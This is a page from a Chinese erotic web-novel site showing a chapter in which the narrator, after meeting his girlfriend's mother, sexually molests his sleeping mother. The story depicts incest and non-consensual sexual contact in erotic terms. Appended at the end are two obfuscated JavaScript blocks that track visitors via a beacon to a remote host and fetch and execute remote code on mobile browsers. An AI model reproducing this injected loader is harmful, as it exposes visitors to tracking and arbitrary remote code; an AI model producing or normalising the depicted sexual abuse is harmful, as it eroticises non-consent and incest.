萧雨笑了笑,对我说道,“杰,你陪妈说说话,等菜做好了我再叫你们。”

说完,她就回厨房去了。

我不敢转身,但我感觉到站在我身后的萧媛也没有动作。

大家沉默了片刻,最后我咬了咬牙,把心一横,“死就死了!”便硬着头皮转过身去。

却见萧媛一双清冷的美眸正直直地盯着我。

我也不肯示弱,与她目光对峙起来。

她微微地皱了一下眉头,眼角的鱼尾纹更显熟感。她似乎是惊讶于我的反应,却一言不发,只是直直地盯着我的眼睛。

过了一会儿,她目光下移,竟然注视着我依然坚挺的阴茎。

我尽量让自己不要紧张,然后平复了一下情绪,说道,“它就是这样,我也没有办法……”

她闻言把目光从我的下体移开,看着我说道,“去用冷水冲一下。”

“啊?”我对这样的结果一时反应不过来。

可她却是很认真地对我说道,“先用冷水冲冲,如果不行的话,那就干脆洗个冷水澡吧。”

“哦哦……”我连声应着,向浴室走去。

浴室之中,我无可避免地自慰了,想着刚才萧媛脱高跟鞋那一幕画面开始自慰,然后又幻想着把她横抱着放到床上,尽情地玩弄,而由于刚刚萧雨才帮我发泄过,所以这一次过了很长时间才发泄出来。

我清洗完身体出来的时候,萧媛已经换了一身质地柔软的肉色睡裙,一个人坐在软沙发上,赤祼的美腿以诱人的姿势摆放着。

我刚刚发泄过,对这样诱惑的画面已经有了一定的抵抗力,但还是不敢多看。

“过来坐。”她指了指对面的沙发,对我说道。

我便故作淡定地走到那个位置,与她对面坐了下来。

“好些了么?”又是一句令我意想不到的话从她的口中说出。

“嗯,好了。”既然她如此淡定,我便也胆量大了起来。

“这种事做多了也会伤身,以后一定要少做。”

语气之中竟然带着一丝关心之意,我惊讶地看了看她。

她肯定是知道我刚才在浴室里面自慰了的,而且也肯定会认为我是以她作为性幻想对象自慰,但是她却仍是如此淡定,既不羞也不生气,我不得不惊讶。

她却淡然地道,“放心,我不会因为这点小事为难你。”

“嗯。”我点了点头,心中却暗道这女人还真是个怪物。

“其实刚才就有很多话想跟你说的,只是在那里不太方便。”她微微靠着沙发,做出一个慵懒的姿势,平静地看着我说道。

我做出一副洗耳恭听的姿态。

“其实也只是想随便聊一下,主要是想进一步了解一下你这个人。”她说话的时候,总是用目光对着我,“我们不是普通人家,我这样说,你会不会觉得不舒服?”

“不会。”我也毫不示弱地看着她的眼睛回答。

她点了点头,并没有对我的直视她的眼睛发表意见,像是默许了我的举动,然后她接着说道,“我的意思只是想要你知道,我们家是不缺钱的,因此小雨也不是非得嫁一个有钱人,而至于家族给小雨定的婚约,只要我一句话,就可以作废,但我必须有一个理由。”

“要我比萧雨那个未婚夫更优秀?”

“不错。”她赞许地点了点头,“你是有些优点,不用你自己说,我看人的眼光还是有的。”

“那你是决定准许我跟萧雨交往了?”

“是有这个意思,并且这次回去,我会向那边提出退婚的,这点你不用担心。”

“那多谢伯母。”

“不用谢我,这是你应得的,我也是为小雨着想,我跟我的前夫是商业联姻走到一起的,生下小雨那年就分开了,作为补偿,我前夫的一部分财产归我,萧家也答应把一家分公司转到我的名下,只是直到今年才兑现。”

“也就是说,你们现在已经算是分离出家族了?”

“不完全是,我名下这家公司,其实跟萧家还是有开不分的联系的,再说,我和小雨流的都是萧家的血,又怎么能够说没有关系就没有关系?我是不想让小雨再步我的后尘,不是说家族联姻的婚姻就注定没有好结果,只是现在小雨看上了你,这是她自己的选择,我作为她的母亲,应该给她一个选择的权利。”

我们一边说着,目光却从未离开过对方的眼睛,这时她说完之些话,而我又觉得没有什么好接话的,便也不出声。她和我对视着,见我不出声,也一阵沉默,然后气氛有些尴尬,我们目不转睛地注视着对方,我眼睛都有点酸了,但就是不肯首先认输。

过了片刻,萧媛才首先移开了目光,这场对峙似乎是我赢了。

但萧媛却是一副不以为然的神态,仿佛就没有跟我目光对峙过,语气随意地说道,“再说说你吧,你除了完成学业外,将来有什么目标,或者想从事什么类型的事业?”

“这个么……我还没有想好。”对方实在淡定得有些过分,我一时间反应不过来。

“暂时没有想好,也没有关系,不过你要是想经商的话,等你们将来结了婚,我可以把公司交给你们打理,我也好享享清福。”

对于这个,我不置可否。

我们大概聊了二十多分钟,主要是她在说,我偶尔搭一下话,而为了避免像刚才那样的尴尬场面,我们默契地没有再直视着对方的眼睛说话。

我从她的语气感觉到,她现在对我已经不像刚见面时那样的清冷和高高在上,有时候她还会对我露出微笑,让我体会到她的微笑是那么的高贵优雅,那一瞬间我总是难以控制想征服她的欲望。

直到萧雨从厨房里出来,说饭菜做好了,我们才结束了交谈。

“阿杰,我开车送你回去。”吃完午饭之后,萧媛如此对我说道,她第一次这样称唿我,就像正式认可了我做她的女婿似的。

萧雨听得一阵惊讶,然后向我投来欣喜的目光。

“你等我一下,我回去换下衣服。”她现在穿的是丝绸睡裙,要开车送我回去,当然要换上出门的衣服,她说着便回了房间。

“杰,你真棒,我妈这样的冷美人,都让你轻易给搞定了。”萧雨抱着我的手臂,一脸幸福地对我说道,“原本我还担心她要为难你的呢。”

我得意地笑了笑,“像我这优秀的女婿,她舍得拒之门外?”

我说完,便想到就要与她暂时分离,心有不舍,突然把她拉入怀里,吻住她的娇唇。

“嗯……”她仰着头,一头长必垂直散落,开始时顺从地让我亲吻,渐渐便开始生涩地迎合起来,发出一阵阵低微的呻吟。

片刻之后,她主动地分开唇,有些慌张地说道,“妈要出来了……”

我轻轻地吻了一下她的额头,才放开她,她在我耳边悄悄地道,“杰,你真了不起,我妈可是很少对男人笑的,你才第一次见到她,她就对你微笑了,而且态度还挺亲切,就好像你真成她女婿了呢。”

这时候萧媛刚好换好衣服出来,“嘀嘀咕咕在说什么?”

萧雨吐了吐头,顽皮地道,“人家在跟情人说悄悄话呢,妈你也要管哪。”

萧媛瞪了她一个白眼,然后对我说道,“阿杰,我们走吧。”

“哦。”

我跟萧雨道别一声,便与萧媛一道出门了。

这时候萧媛换上的是一身白色的职业女装,没穿丝袜,裸露出白嫩嫩的皮肤,穿上一双白色高跟鞋,站着地时候,美丽的小腿肚紧紧地绷直。

我有些心猿意马地与她并肩而行,目光偷偷地瞄她身体上令我向往的部位。

她其实觉察到我的不轨之举,却若无其事,这使得我的色胆大增。

她让我坐在她的旁边,一边开车一边跟我聊天,其实主要是她在找话说,我从她的语气中感觉不到丝毫的拘束,她确实是很自然地在跟我聊天,并且对我不断地以目光亵渎她的身体毫不在意,她似乎无论遇到什么情况,都可以保持着她高贵优雅的气质。

“那边,到了。”车终于开到我家所在的公寓前,我心中有些遗憾,跟她多待些时多好。

“阿杰,等等,我还有话要对你说。”我正要下车,却被她叫住。

“萧伯母……怎么了?”我突然紧张了起来,以为她是要秋后算帐,斥责我一直以目光亵渎她的玉体的罪行。

但,并非如此。

“以后就叫我媛姨吧。”她和蔼地道。

“好,媛姨。”

“嗯,阿杰,媛姨对你有个小小的要求,就是从今以后,你要把你手淫的毛病戒掉。”

“啊……”我顿时目瞪口呆地看着她,一时间也不知道怎么回应她。

她的语气并不严厉,却是有种不容反抗发布遵从的意味在里面,最为要命的……是这个问题。

她怎么能这么从容地对一个可能成为她女婿的男人提出这样的要求?

我只能说,她真是个极品。

“我……这个,我,我有时会忍不住的……”我硬着头皮说道,这一瞬间,我的耳朵都红透了。

“怎么会忍不住?看你想不想忍而已,媛姨知道你精力旺盛,不过,这种事一直做下去,既无意义,又伤身体,媛姨提出这样的要求,是为你好,知道吗?”

“呃,知道……”

“其实你是不是真的戒掉,我是无法对你进行验证的,不过我还是要你亲口答应我,至于你是不是会遵守承诺,那就要看你对我家小雨是不是真心了。”

听到这句话,我顿时心神一震,认真地道,“媛姨,我答应你,从此之后,我把手淫戒掉。”

“好,有你这句话,媛姨便信了你,你回去吧。” 第七章:母吟 已经过了午饭时间,妈妈这段时间经常只在晚上才回家,所以中午都是我和姐姐在家吃饭,我回到家的时候,看到姐姐一个人坐在餐桌前,桌面上摆着饭菜,看样子已经凉了。

姐姐竟然一直在等我,我不由得感到愧疚,暗想着是不是应该主动向她服软,做回从前那个听话的好弟弟。

姐姐没有对我打招唿,见我回来,就自己动筷吃了。

我也不知道该说什么,坐了下来,准备随意吃点东西,但姐姐却突然说道,“在萧雨家没吃饱?”

“嗯?”我夹菜的手停在了空中,既愧疚又尴尬,“姐姐,对不起啦,我应该提前打电话告诉你一声的。”

“没吃饱就吃吧。”姐姐似乎并不接受我的道歉。

我还是夹起了菜,开始吃饭。

“也是,从小你到别人家里就难免会拘束,不过萧雨是你女朋友,就不应该那么客气,以后你要是去,记得要吃饱。”她以教导的语气说道。

“嗯,我会记得。”我暗想着,估计是萧雨告诉她我去她家吃饭了吧,她们俩既是同学,又是闺中密友,这种事萧雨应该是会对她说的。

“听说,萧雨她妈提出要见你?”她看似随意地道。

“是的。”

“她家可是很有钱的,她妈妈不反对你们在一起?”

“是很有钱,可那跟反不反对有什么关系?”

“你觉得没关系?呵呵,还真是天真,以为爱情真的那么可靠吗?”

我表面上不置可否,“姐姐应该比我还了解萧雨。”

“你说得没错,但我只是比你更了解她,却也不是完全的了解了她,再说,我又不了解她的妈妈,据她说,她是很听她妈妈的话的。”

“萧伯母都已经答应我跟她在一起了。”我不明白,一开始的时候,就是姐姐提出要我把萧雨追到手的,现在眼看都可以把她哄到床上了,姐姐却开始给我泼冷水。

“看得出你很自信,那我也懒得再跟你说什么了,不过,你自己可以将心比心,你自己是不是真的那么在乎你跟她之间的所谓爱情。”

“我当然在乎。”

“是吗?当初你要哄你自己的姐姐帮你满足性欲,就说什么‘愿在裳而为带……’,可现在呢?”

“这……”我顿时哑口无言,暗道她该不会是吃醋了吧?

“现在你有了自己的女人,就不需要哄姐姐帮你做那些事了吧。”

我没有说话,心里却无法平静。

我或许真的太天真了,就像我要娶妻一样,姐姐也是要嫁人的,我是不是要自私到一辈子独占姐姐,不让她寻找自己的幸福?

“砰……”就在这时,姐姐放下碗筷,奔回自己的房间,用力地把门关上。

我一阵发愣,终究还是没有追上去。

我收拾好餐桌,然后也回到自己的房间,独自反思,其实是胡思乱想。

晚上,妈妈回来,她和姐姐做的晚饭,叫我出去吃,姐姐看了我之后,一声不哼,妈妈便皱了眉道,“你们姐弟俩闹什么别扭,怎么连招唿也不打一下?”

“弟弟好。”妈妈话音刚落,姐姐对我敷衍了一句。

我干脆不说话,妈妈瞪了我一眼,然后三个人便默默地吃饭。

饭后,妈妈洗碗,我和姐姐两人来到客厅,相对无言,而就在这时,我的手机响了,是萧雨打来的,她明天一早就要去赶飞机,应该是要跟我说一些道别的话,要挂线的时候,她向我提了个小要求,要我叫她一声雨姐姐。

这也不算为难,可我看姐姐在旁边,就想避开一下,但刚站起来,就被姐姐瞪了一眼,仿佛在说,“你们有什么秘密不想让我知道?”

于是我又坐了下来,清了清喉咙,才低低地唤了一声,“雨姐姐……”

“叫这么小声,我听不见呢。”萧雨不依地道。

我无奈,只好提高了音量,“雨姐姐。”

“嗯,这还差不多,等我回来,我的弟弟老公。”

我的手机音量很大,萧雨说话的时候,相距很近的姐姐肯定都听见了。

我挂了手机之后,偷偷地瞄了姐姐一眼,发现她正目不斜视地对着电视机,我甚觉无趣,便站起来道,“我先睡了。”朝卧室走去。

“雨姐姐……”在我关门的那一瞬间,突然听到姐姐在仿佛我的声音,不由得吓了一跳,暗道她不会把我和萧雨的事告诉妈妈吧。

妈妈可是与萧媛不同,妈妈要更严厉一些,她肯定不赞成我现在就谈恋爱,而且还是跟一个比我大三岁的女孩。

我不安地留意着外面的动静,过了好久,终于听到姐姐对妈妈说了声,“妈,我去睡了。”然后就传来一个关门的声音。

妈妈答应一声,然后屋里变得静悄悄的。

过了好久,我在床上翻来覆去,无法入眠。

突然房门?嚓的一声,被人推开,我打开灯,看见妈妈一身宽松的绸缎睡衣带着温柔的微笑站在门边,她的头发似乎刚洗过,乌黑柔顺,披肩散落,突显出慵懒的美感。

“妈妈……”我轻声唤道,内心发生一阵轻颤。

“睡不着么?”妈妈关上门,赤着玉足走到我的床边。

我点了点头。

妈妈的睡裙只到膝盖的部位,裸露出晶莹剔透的纤美小腿,走路时脚掌变幻着好看的形状,此外她的玉臂,玉颈,雪白的乳沟,都毫无保留地向我展示着。

她优雅地在我的床头坐下来,美眸含波地俯视着我,“有什么心事,睡不着?”

妈妈刚刚沐浴过,玉体上散发出沐浴露的芳香,我目光微微闪避了一下,不敢再看她诱人的身体,语气有些不自然地道,“嗯,也没什么心事,可能是今天上午起床太晚了,才不觉得困。”

“你就骗妈妈吧。”她只是不信,却没有提我和姐姐赌气的事。

“妈妈,真的没事。”

“你不想说就罢了,妈妈只是想跟你聊聊天。”

“那妈妈你跟我说说你开美容院的事情吧,还顺利么?”

妈妈点了点头道,“还算顺利吧,再过一个多月,就可以稳定下来了,到时候妈妈不会再像现在这样,每天都晚上才回家了。”

“恭喜妈妈,事业有成。”

“嘴甜,不过,说实话,这段时间妈妈没什么时间陪你们,怪妈妈吗?”

“怎么会怪,妈妈这么辛苦地工作,还不是为了我和姐姐?”

“你知道就好。”

“嗯,母亲大人养育之恩,孩儿铭记不忘。”

“文绉绉的。”妈妈瞪了我一眼,没好气地道,“学会几句之乎者也,就想在妈妈面前显摆么?”

虽然如此说着,她脸上还是露出欢喜的神色。

我突然坐了起来,迎着妈妈的目光认真地道,“妈妈,我有个问题想问你。”

“嗯,那你问吧。”妈妈温柔地看着我道。

“妈妈,你将来会改嫁么?”问出这个问题的时候我的内心紧张起来。

妈妈闻言微微一怔,随即温柔一笑,却是反问起我来,“那你到底怎么想?”

“我不想要后爸,不想妈妈嫁给别人。”这是我内心的真实想法,不止一种含义,今后妈妈只能是我一个人的,姐姐自然不算,我不想让一个与我无关的男人跟我分享妈妈,可是……

“妈妈,你会不会真的已经有了喜欢的人?”我担忧地问道。

妈妈摇头微笑,就像我小时候对她说出一些意想天开的想法时,她笑着指出那些想法的荒谬一样,“阿杰,你不要多想,将来的事情暂且不说,就目前的情况,妈妈并没有喜欢什么人,也根本没有想过改嫁,这主要也是为了你们,因为要找一个真心爱我的男人并不难,可是难就难在要他真心对你们姐弟俩好,你们对于我来说,比再找一个男人做丈夫更重要。”

妈妈的话让我的心里暖暖的,不由得开心地笑起来。

妈妈看见我露出笑容,笑道,“臭小子,让你得逞了,把妈妈一辈子留在身边,开心了?”

对于妈妈这句话,我们各自有着不同的理解,我得意地笑道,“我就是要把妈妈你一辈留在身边,等我完成学业之后,一定要为妈妈打拼一个美好的未来,让妈妈不用再像现在这样辛苦地工作。”

“你有这份孝心,妈妈就很满足了,好了,快睡觉吧,明天不能再赖床了,别我不再像以前那样管着你,你就退化成懒猪。”

妈妈一边说着,一边站了起来,准备出去,笑道,“还不跟妈妈说晚安?”

见妈妈就要离开,我万分不舍,冲动之下,伸手抓住妈妈的皓腕,“妈妈,别走……”

“嗯?还有什么事?”

“妈妈……”我吞吞吐吐地说道,“陪我睡觉,好吗?”

“嗯。”妈妈答应一声,重新回到我的床边。

而我依然握住妈妈的玉腕,一时之间也不知道哪里来的勇气,竟如挑逗自己的情人一般爱抚了几下妈妈玉手。顿时间,便有一股舒服的触感冲击到我的脑部神经。

但我很快便惊醒了,我这是在做什么?我暗自惊出了一把冷汗,赶紧松开妈妈的玉手,脸色通红地低下头去。

我没想到自己竟然真的大胆到调戏自己的妈妈。

妈妈一阵发怔,她有些不敢相信地看着我。

而我一言不发,等待着妈妈的斥责。

但是过了片刻之后,也不知道是什么原因,妈妈并没有斥责我,她就仿佛刚才什么也没有发生过似的。

她靠了过来,坐到我的床上,玉腿以一个优雅的姿势抬了上来。她弯着双膝坐着,看了看我,眼神有些复杂。

“还不给妈妈让点地方,这么窄叫妈妈怎么睡?”她有些心不在焉地说道。

我顿时如遇大赦,但又以为自己听错了,妈妈是极聪明的一个人,不可能我做出这样过分的举动,她还不明白我内心想什么事情……难道她也想着跟我一样的事?

想到这里我的心不由得一阵砰砰乱跳,兴奋过头了……但忽然又有点不敢相信……我抬头时,正迎着妈妈的目光,她似乎真的没有生气……我越来越看不懂她了,因此心中不由得七上八下。

这时妈妈平静地看着我,而我正在发愣,于是我赶紧让了一半床位给妈妈。

妈妈对我笑了笑,便在我身旁躺下,拉过被子,盖住了她诱人的玉体。

我不由得暗暗地婉惜。妈妈翻了个身,面对着我侧卧。

我心猿意马,暗自想道,难道妈妈也有跟我一样的惊人想法?

如此一想,我满怀期待地看着妈妈,但是不敢有任何动作,因为万一会错了意,那将不堪设想。

这时妈妈忽然用她的玉手怜爱地抚摸我的头发,静静地看着我。

我顿时呯然心动,刚鼓起勇气,想伸手爱抚她的脸庞,以作试探,但是我的手刚要伸过去,她突然又平静地对我说道,“听话,快熄灯睡觉。”

我不由得一阵失落,但是对妈妈的话却不敢有违。

而熄灯后,就着窗外射入的微光,我依然能够看到妈妈面貌,她没有阖眼,而是平静地看着我,露出若有所思的神色。

她也知道我在看着她,但她就是不跟我说话,也不移开注视我的目光,过了大概十多分钟,她终于番了个身,不再与我相对。

我胡思乱想,以为妈妈有什么深意,直到深夜都还是无法入眠。而妈妈却早就已经睡着了,枕边传来她好听的睡熟声,犹如婴儿一般。这让我感到失望,但是早已躁动的心却难以平息下来,一股难以抑制的欲望开始主导了我的意识。

终于,我紧张地伸出手去,落到妈妈敏感的玉颈上,轻轻地爱抚起来。

妈妈没有动静,这让我的胆子大了起来,我开始试探性地挨近她的玉体,她也没有动静,从她的轻微平稳的鼻息判断,她仍然在熟睡着,是真的熟睡,觉察到这一点,我心中激动无比,也冲动无比,阴茎早就硬得如铁棒一般,憋着一股难以阻挡的洪流。

正轻轻地爱抚妈妈玉颈的手开始往上移动,触摸到妈妈的脸颊。

妈妈脸颊上的皮肤就犹如婴儿的皮肤一般,嫩滑而有弹性,抚摸起来让我产生一股刺激的感觉,连我的灵魂似乎也在微微地震颤。

我的身体已经蠕动到了妈妈的旁边,我轻轻地掀开被子,微光之下,妈妈的睡姿优美之中带着一丝慵懒,我一只手轻轻地撑起自己的身体,俯视着妈妈,视线落到妈妈丰腴地胸部上,眼神之中充满了占有的欲望,我看着妈妈高高隆起的乳房随着平稳的唿吸有节奏地起伏着,这一刻我的阴茎突然似乎又硬了几分,我再也无法控制自己的欲望了。

随后我唿吸急促地把脸凑到妈妈的丰胸前,妈妈没有穿内衣,只是穿一件轻柔的吊带睡裙,胸前露出大片白白的嫩肉,看得我性欲大涨。即使是躺着,也仍然能够看得到不浅的乳沟,两边乳房都露出了好大一片,如同一面光滑的斜坡。

我的脸越凑越近,直到鼻尖触碰到了妈妈其中一个乳房,一股奇妙的柔软把我的心都差点融化了。

万幸的是妈妈并没有因此而醒来,这使得我更加的胆大起来。

我贪婪地吸着妈妈的乳房上传来的香气,她却依然安祥的睡着,丝毫也没有觉察到我对她的亵渎,我把脸轻轻地贴在妈妈其中一个乳房上,然后小心翼翼地磨蹭,触电般的感觉源源不断地冲击着我的神经,突然之间所有的刺激都集中到了我的阴茎上,肿胀得更加难受。

我缓缓地吸了一口气,平抚一下心中的急躁,然后我情不自禁地地跨坐到妈妈的身上。

我的一切动作都很轻很慢,正好跨坐在妈妈阴部的位置,但是又不是真的坐到妈妈的下体,其实只是保持着一个跨坐的姿势,让自己的下体与妈妈的下体有少许的接触。

我的视线也随之转移到妈妈的下体处。我从那个地方来到这个世界,现在,它是我最向往之地。

我双手撑着床,保持着一个拥抱妈妈的姿势,双腿叉开跪着。

然后,我抬起一只手,轻轻落到妈妈平缓起伏的乳房上,然后轻轻地向她的下体移动抚了下去。妈妈穿的睡裙很轻柔宽松,被我这样轻轻地抚了下去,就贴着了她的玉体,很快我抚过了妈妈的肚脐,妈妈毕竟已经到了中年,腰并不是很苗条,而这在我看来更显得有熟女的味道,我留恋了片刻,然后继续往下,直到触摸到妈妈高高隆起的阴阜。

我的手和妈妈的阴阜只隔着一层柔若无物的丝绸,当我的手与小山丘似的嫩肉接触的一瞬间,我的阴茎突然产生了更加强烈反应,传来一阵又难受又舒服的感觉,我忍受不住,就把睡衣脱了下来,全身赤祼。我兴奋而又紧张地把阴茎抵向了妈妈的柔软的阴阜。

“啊……”我发出一声愉悦的轻吟。

我的阴茎肿胀到了极点,忍不住用龟头在妈妈的阴阜上轻轻地摩擦。

开始的时候我的动作很慢,很慢,然后开始适度地加快,一下,两下,三下……当摩擦到第六下的时候……

“嗯……”妈妈突然发出一声梦呓般的呻吟。

我顿时停了下来,心吊到了喉咙……

幸好……妈妈并没有醒。

“真不可思议……”我暗暗庆幸,这时候性欲又起,我牙一咬,我不顾后果地开始继续摩擦妈妈的阴阜。

“哧……”一阵阵的愉悦如夏天的洪潮一般,让我的动作开始失控,阴茎在妈妈的阴阜上摩擦的速度和力度越来越快,同时俯下身去,贪婪地亲吻妈妈胸前露出来的一大片乳房,我伸出舌头,在妈妈的胸前的嫩肉上轻舔,“嗯……”妈妈又发出了一声好听的呻吟,跟上次一样也带着梦呓般的感觉,她并没有醒来,如此一来,我不再顾忌,开始加快阴茎摩擦的速度,这使得龟头的酸胀感越来越重。

没过多久,我就感觉到阴茎已经酸胀到快要憋不住的地步,一股洪流就要喷射出来,但是心中又极不愿就此发泄。

就在这时,妈妈的身体动了!

“你混蛋!”妈妈突然醒了过来,低喝一声,用力把我推开。

我顿时如遭雷击,被妈妈推开的一瞬间,我的脑海之中一片空白,下体的反应也在这一刻被忽略。

“完了……”一个惊颤的声音在我的内心响起来。

妈妈打开灯,把我的衣服扔了过来,冷着脸喝道,“穿上!”

我大气也不敢出一下,赶紧把衣服穿上。

妈妈怒视了我好一会儿,一言不发,我也不知道她在想什么,但她的唿吸从一开始的急促渐渐平缓下来,她一言不发,但是双眼怒得发红。

“妈妈……对不起……”我鼓起了所有的勇气,但这一声还是低得几乎连我自己都听不见。

妈妈却仍然不理会我,她看着我,就仿佛看着一个陌生人似的。我心中慌乱如麻。

我等着妈妈对我的宣判,但是我等到的却是妈妈失望的眼神,她也没有骂我,但是她那如同看陌生人一般的目光却比怒骂更令我心痛。

又过了一会儿,妈妈一言不发地下床,她要离开……

我情急之下跳了起来,拉住妈妈的手,“妈妈,别走……”

妈妈停了下来,她缓缓地转过头来,眼神冷冷地看着我,看得我不知所措。

当感觉到她想挣扎我的手时,我才惊醒过来,哀声地求道,“妈妈,别走……别走好吗?”

“不走,留下来陪你睡觉?”妈妈冷声说道。

当妈妈离开我房间的那一瞬间,我的心一下子空了,仿佛失去了灵魂,只剩下一副肉壳。


上一篇:我借同事的女友用了一晚

下一篇:翁媳房中春意浓


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};